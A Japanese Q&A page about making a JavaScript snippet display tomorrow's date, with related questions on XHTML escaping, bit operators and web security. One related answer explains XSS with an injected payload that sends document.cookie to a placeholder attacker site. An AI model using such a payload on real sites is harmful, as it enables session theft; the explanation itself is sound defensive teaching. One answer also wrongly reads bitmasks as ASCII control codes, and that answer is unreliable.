下記のように1日後の日付を常に表示するときは
どこを変えればいいのでしょうか?
<TD>※明日は<script language="JavaScript">
<!--
// 訪問日表示
now = new Date();
year = now.getYear(); if (year < 2000) year = year + 1900;
month = now.getMonth()+1;
day = now.getDate();
wk = new Array("日","月","火","水","木","金","土");
document.write("有効期限:"+year+"年"+month+"月"+day+"日");
// -->
</script>

このQ&Aに関連する最新のQ&A

A 回答 (4件)

>たぶんの下記のままでは 2001 1月 1日になるので、そこは変更しないといけませんが


たぶんOKだと思いますよ。
now.setDate( now.getDate()+1 );
は年月も自動的にロールしますし、古いブラウザは1900からの差分を返すはずですから。

むしろクライアントのPCのマシン時刻が正確であるという保証がないため、
深夜時間帯に翌々日を表示してしまうほうが心配ですね。
    • good
    • 0

xruzです、うーんダメです。



>day = now.getDate()+1;
では、例えば2001年12月31日の時。
2001年12月32日を表示します(たぶん)。
日付をロールするには
now.setDate( now.getDate()+1 );
とDateオブジェクトに翌日をセットしましょう。
それから、年月日の取得を行います。

No.2中の //ここで翌日セットのタイミングです。

がんばってくださいね(~:~i

この回答への補足

度々ありがとうございます。
では 下記で挑戦してみます。年明けが楽しみです。
たぶんの下記のままでは 2001 1月 1日になるので、そこは変更しないといけませんが


<TD>明日は<script language="JavaScript">
<!--
// 訪問日表示
now = new Date();
now.setDate( now.getDate()+1 ); // ここで翌日セット
year = now.getYear(); if (year < 2000) year = year + 1900;
month = now.getMonth()+1;
day = now.getDate();
wk = new Array("日","月","火","水","木","金","土");
document.write("有効期限:"+year+"年"+month+"月"+day+"日");
// -->
</script>

補足日時:2001/12/17 10:37
    • good
    • 0

おはようございますさん、xruzです。


翌日セットはnew Date() した後すぐに行いましょう。
年変わりや月変わりの時おかしくなってしまいます。

<TD>明日は<script language="JavaScript">
<!--
// 訪問日表示
now = new Date();
now.setDate( now.getDate()+1 ); // ここで翌日セット
year = now.getYear(); if (year < 2000) year = year + 1900;
month = now.getMonth()+1;
day = now.getDate();
wk = new Array("日","月","火","水","木","金","土");
document.write("有効期限:"+year+"年"+month+"月"+day+"日");
// -->
</script>

がんばってくださいね(~:~i

この回答への補足

さっそくありがとうございます。つまり
下の方の意見も合わせて下記でokですか?

<TD>※明日は<script language="JavaScript">
<!--
// 訪問日表示
now = new Date();
year = now.getYear(); if (year < 2000) year = year + 1900;
month = now.getMonth()+1;
day = now.getDate()+1;
wk = new Array("日","月","火","水","木","金","土");
document.write("有効期限:"+year+"年"+month+"月"+day+"日");
// -->
</script>

補足日時:2001/12/17 09:19
    • good
    • 0

day = now.getDate();



day = now.getDate()+1;
にすればいいです。
    • good
    • 0

このQ&Aに関連する人気のQ&A

お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!

このQ&Aを見た人が検索しているワード

このQ&Aと関連する良く見られている質問

Q 内に書くことはできません」

元アルバイト先に頼まれてサイトを作り運営しているのですが、わからないことがあるので教えて下さい。

サイトはXHTML1.0 Transitional で作っており、ここに、http://fmono.sub.jp/ の「w3Analyzer」を組み込みアクセス解析をしています。サイト自体もこのアクセス解析も正常に動作しています。
ただ、このサイトをhttp://openlab.ring.gr.jp/k16/htmllint/htmllint.htmlで構文チェックすると、アクセス解析のタグにエラー「<img>を~行目の<script>~</script>内に書くことはできません。」が表示されてしまいます。
エラーが表示されるタグは下記のようなものです。

<script type="text/javascript">
document.write('<img src="http://~/w3a/writelog.php?ref='+document.referrer+'" width="1" height="1" />');
</script> >

アクセスログは普通に取得できているので問題ないのですが、もし上記エラーを回避する方法があればご教授下さい。よろしくお願いします。

元アルバイト先に頼まれてサイトを作り運営しているのですが、わからないことがあるので教えて下さい。

サイトはXHTML1.0 Transitional で作っており、ここに、http://fmono.sub.jp/ の「w3Analyzer」を組み込みアクセス解析をしています。サイト自体もこのアクセス解析も正常に動作しています。
ただ、このサイトをhttp://openlab.ring.gr.jp/k16/htmllint/htmllint.htmlで構文チェックすると、アクセス解析のタグにエラー「<img>を~行目の<script>~</script>内に書くことはできません。」が表示されてし...続きを読む

Aベストアンサー

XHTML には「ホンモノの XHTML」と「ニセモノの XHTML」があります。「ホンモノの XHTML」とは application/xml または application/xhtml+xml として識別されるもの、「ニセモノの XHTML」は text/html で識別されるものです。

※実際にはどちらも本物です。ここでは「HTML 互換として処理される XHTML」を「ニセモノ」、「XML として解析される XHTML」を「ホンモノ」と、カタカナ&カッコ付きで書いています。

「ホンモノの XHTML」として見れば、質問文のソースは妥当性違反です。なぜなら、img 要素のタグがエスケープされていないため、これがスクリプトの一部ではなく文書構成要素だと判断されるからです。XHTML 1.0 のスキーマは、script 要素内に img 要素が出現することを許していません。もちろん、スクリプトとしても正しく動作しません。

従って、XML のルールに従ってエスケープする必要があります。特に「<」と「&」は必ずエスケープしなければなりません。

document.write('&lt;img .... />');

ですが面倒なことに、「ニセモノの XHTML」ではこれが動作しなくなります。「ニセモノの XHTML」は、HTML との互換性のために script 要素内の「<」「&」をうまく扱ってくれるのですが、それが仇となり、上記では「&lt;」が「<」に戻りません。

ならば、コメント区間にするのはどうでしょう。XML でもコメント内なら「<」「&」が現れても大丈夫です(ただし「--」だけは駄目です)。

<script type="text/javascript"><!--
document.write('<img .... />');
//--></script>

「ニセモノの XHTML」ならこれでも構いません。しかし、「ホンモノの XHTML」では、コメントは本当に破棄されてしまい、上記では動作すらしなくなります。

そこで、XML/HTML のルールを使わず、JavaScript のルールでエスケープすることを考えます。

document.write('\u003Cimg .... />');

これなら大丈夫でしょう。XML/HTML に限らず、言語が混在する際は必ず適切なエスケープを施す必要があります。エスケープを避けたければ外部スクリプトにして下さい。


なお、ここには別の問題があります。そもそも「ホンモノの XHTML」では、document.write を使用できません。これは HTML 互換の機能だからです(HTML5 に明記されています)。

XHTML を採用するのであれば、それが「ホンモノ」でも「ニセモノ」でも大丈夫なよう、document.write に頼らないコードを作成して下さい。あるいは try...catch で括るなどして、「ニセモノ」として処理されたときのみコードが動作するよう工夫して下さい。あるいはいっそ、XHTML を止めるのも 1 つの選択でしょう。

XHTML には「ホンモノの XHTML」と「ニセモノの XHTML」があります。「ホンモノの XHTML」とは application/xml または application/xhtml+xml として識別されるもの、「ニセモノの XHTML」は text/html で識別されるものです。

※実際にはどちらも本物です。ここでは「HTML 互換として処理される XHTML」を「ニセモノ」、「XML として解析される XHTML」を「ホンモノ」と、カタカナ&カッコ付きで書いています。

「ホンモノの XHTML」として見れば、質問文のソースは妥当性違反です。なぜなら、img 要素のタ...続きを読む

Q&= ~0x0c; &= ~0x03; |=1;

JavaScriptで分からないコードがあるので教えてください。


■変数設定
var hoge = 0;


■変数格納
・キーを押した時の条件分岐
  ~なら hoge |= 1;
  または hoge |= 2;
  または hoge |= 3;
  または hoge |= 8;

・キーを離した時の条件分岐
  ~なら hoge &= ~0x0c;
  または hoge &= ~0x03;


■変数使用
・swithch文の条件分岐に利用
  (hoge&0x03)
  (hoge&0x0c)


■質問
・どういう意味でしょうか?
・文字コード?
・ビット演算?

Aベストアンサー

ビット演算してるわね

x = x + a

x += a
って書くことができるの

つまり
hoge |= 1

hoge = hoge | 1
のことね

~はNOTのこと

0x
はアスキーコードの16進数表記ねきっと

0x0c は改ページを意味していて
0x03 は文章の最後を意味している
と思われるわ
全文がないので推測だけど

Q内のコードの抽出方法

Ajaxで読み込んだHTML文書内にあるスクリプトのコードだけを
抽出したいのですが、正規表現を教えてください。
自分で考えてみたものは、以下の方法です。
これが最良なのかわかりません。
「スクリプトは複数箇所に存在しない」という条件で構いません。
宜しくお願いします。

var HTML = 'ここにHTML';
HTML.match(/.*<script.*>([\w\W]*)<\/script>.*/);
scr = RegExp.$1;
eval(scr);

Aベストアンサー

>改行が
ああそうか・・・ mフラグ付けると どう?
ダメなら [\s\S]* とか使う事になると思うけど・・・

Q 要素の内

▽安全なウェブサイトの作り方
  http://www.ipa.go.jp/security/vuln/documents/website_security.pdf

><script>...</script> 要素の内容を動的に生成しない
>ウェブページに出力する<script>...</script>要素の内容が、外部からの入力に依存する形で動的に生成される場合、任意のスクリプトが埋め込まれてしまう可能性があります

・P25で上記のように書かれているのですが、理解できません(何故ここだけ動的生成してはいけないのか等)
・具体的にどのようにして埋め込まれる恐れがあるのでしょうか?
・またここで書いている内容は、下記何れを指しているのでしょうか?
・ココカラ<script>...</script>ココマデ
・<script>ココカラ...ココマデ</script>

Aベストアンサー

攻撃の容易性でしょう。

この脆弱性を付く攻撃をする際に一番苦労するのが <script> をどうやって埋め込むかです。これは入力内容のエスケープ処理で大体は塞がれてしまうのですが、<script> 要素内に直接埋めこめられるならその問題が無いので、かなり攻撃しやすいサイトとなります。

埋め込み方法ですが、以下の様な生成をするサイトの場合なら

入力内容: 太郎
出力内容: <script>alert('こんにちは太郎さん')</script>

そのサイト内で使用している cookie 内容を盗聴するために、以下のように攻撃できます。

入力内容: ');window.location='http://攻撃サイト/'+document.cookie;a=('
出力内容: <script>alert('こんにちは');window.location='http://攻撃サイト/'+document.cookie;a=('さん')</script>

引用符のエスケープ処理で塞がれるかもしれませんが、それでも対処できる余地はあります。

Qvar now = +new Dateの +は何?

var now = +new Dateの意味を教えてください
・現在時刻を取得?
・「 = +」の意味は? 「+=」みたいな短縮表記した演算子?
・「new Date」や「Date.now()」とは何が違うのでしょうか?

Aベストアンサー

+は単項プラス演算子です。

var now1 = +new Date();
var now2 = new Date();
alert(typeof now1);
alert(typeof now2);

で何となく分かると思いますが、+を付けることで数値に変換しています。


【JavaScript】単項 + 演算子で数値にする at softelメモ
http://www.softel.co.jp/blogs/tech/archives/4396


人気Q&Aランキング

おすすめ情報